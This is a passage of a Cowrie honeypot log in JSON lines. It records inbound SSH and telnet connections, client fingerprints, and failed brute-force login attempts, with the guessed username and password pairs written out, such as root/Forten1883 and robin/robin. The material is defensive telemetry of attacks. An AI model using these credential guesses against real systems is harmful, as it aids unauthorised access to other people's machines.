{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57732,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a553157bb3b","protocol":"telnet","message":"New connection: 135.148.14.151:57732 (159.203.135.109:23) [session: 3a553157bb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:02.657587Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45628,"dst_ip":"10.17.0.5","dst_port":22,"session":"f906a130cc0f","protocol":"ssh","message":"New connection: 80.66.85.226:45628 (10.17.0.5:22) [session: f906a130cc0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:03.124608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:03.129932Z","src_ip":"80.66.85.226","session":"f906a130cc0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:03.214791Z","src_ip":"80.66.85.226","session":"f906a130cc0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:03.470169Z","src_ip":"80.66.85.226","session":"f906a130cc0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:04.558019Z","src_ip":"80.66.85.226","session":"f906a130cc0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":35372,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff20169515a8","protocol":"ssh","message":"New connection: 103.82.20.28:35372 (10.17.0.5:22) [session: ff20169515a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:10.096872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:10.105466Z","src_ip":"103.82.20.28","session":"ff20169515a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:10.370436Z","src_ip":"103.82.20.28","session":"ff20169515a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.732426166534424,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:10.958556Z","src_ip":"66.132.186.191","session":"e2d0e2f18bbe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"28051991","message":"login attempt [root/28051991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:11.165290Z","src_ip":"103.82.20.28","session":"ff20169515a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:12.433694Z","src_ip":"103.82.20.28","session":"ff20169515a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.15520977973938,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:35.812691Z","src_ip":"135.148.14.151","session":"3a553157bb3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47324,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d1fe558d831","protocol":"telnet","message":"New connection: 135.148.14.151:47324 (159.203.135.109:23) [session: 5d1fe558d831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:43.285124Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":35254,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba39adf0e798","protocol":"ssh","message":"New connection: 62.133.63.178:35254 (10.17.0.5:22) [session: ba39adf0e798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:43.760698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:43.765627Z","src_ip":"62.133.63.178","session":"ba39adf0e798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:43.891232Z","src_ip":"62.133.63.178","session":"ba39adf0e798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiopqwe","message":"login attempt [root/qwertyuiopqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:44.277551Z","src_ip":"62.133.63.178","session":"ba39adf0e798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:45.406802Z","src_ip":"62.133.63.178","session":"ba39adf0e798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":50040,"dst_ip":"159.203.135.109","dst_port":22,"session":"afc010b75de0","protocol":"ssh","message":"New connection: 161.97.102.228:50040 (159.203.135.109:22) [session: afc010b75de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:06.525165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:06.531158Z","src_ip":"161.97.102.228","session":"afc010b75de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:06.628705Z","src_ip":"161.97.102.228","session":"afc010b75de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"robin","password":"robin","message":"login attempt [robin/robin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:07.058587Z","src_ip":"161.97.102.228","session":"afc010b75de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:08.193243Z","src_ip":"161.97.102.228","session":"afc010b75de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":53766,"dst_ip":"159.203.135.109","dst_port":22,"session":"80bdb0e88b99","protocol":"ssh","message":"New connection: 185.239.84.249:53766 (159.203.135.109:22) [session: 80bdb0e88b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:17.327073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:17.333950Z","src_ip":"185.239.84.249","session":"80bdb0e88b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:17.540716Z","src_ip":"185.239.84.249","session":"80bdb0e88b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60668,"dst_ip":"159.203.135.109","dst_port":23,"session":"a440dce0c405","protocol":"telnet","message":"New connection: 135.148.14.151:60668 (159.203.135.109:23) [session: a440dce0c405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:17.882077Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123QWEqwe","message":"login attempt [root/!@#123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:18.155597Z","src_ip":"185.239.84.249","session":"80bdb0e88b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.91601037979126,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:18.201030Z","src_ip":"135.148.14.151","session":"5d1fe558d831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:19.364425Z","src_ip":"185.239.84.249","session":"80bdb0e88b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.168.19.34","src_port":41890,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2dd70fe0f36","protocol":"telnet","message":"New connection: 49.168.19.34:41890 (10.17.0.5:23) [session: b2dd70fe0f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:24.246617Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":54174,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b471f14e9ab","protocol":"ssh","message":"New connection: 103.27.238.120:54174 (10.17.0.5:22) [session: 2b471f14e9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:28.145762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:28.150924Z","src_ip":"103.27.238.120","session":"2b471f14e9ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60696,"dst_ip":"10.17.0.5","dst_port":22,"session":"29c679a4ce4d","protocol":"ssh","message":"New connection: 103.27.238.116:60696 (10.17.0.5:22) [session: 29c679a4ce4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:28.161028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:28.166135Z","src_ip":"103.27.238.116","session":"29c679a4ce4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:28.427461Z","src_ip":"103.27.238.120","session":"2b471f14e9ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:28.435381Z","src_ip":"103.27.238.116","session":"29c679a4ce4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shumaher","message":"login attempt [root/shumaher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:29.244839Z","src_ip":"103.27.238.116","session":"29c679a4ce4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"number1","message":"login attempt [root/number1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:29.257967Z","src_ip":"103.27.238.120","session":"2b471f14e9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:30.518183Z","src_ip":"103.27.238.116","session":"29c679a4ce4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:30.537354Z","src_ip":"103.27.238.120","session":"2b471f14e9ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.51448678970337,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:51.396461Z","src_ip":"135.148.14.151","session":"a440dce0c405","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750428676605225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:37:54.996975Z","src_ip":"49.168.19.34","session":"b2dd70fe0f36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":33288,"dst_ip":"159.203.135.109","dst_port":23,"session":"524096b41185","protocol":"telnet","message":"New connection: 135.148.14.151:33288 (159.203.135.109:23) [session: 524096b41185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:11.541307Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":56006,"dst_ip":"10.17.0.5","dst_port":22,"session":"174a7a145549","protocol":"ssh","message":"New connection: 147.45.199.80:56006 (10.17.0.5:22) [session: 174a7a145549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:14.130281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:38:14.144352Z","src_ip":"147.45.199.80","session":"174a7a145549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@opens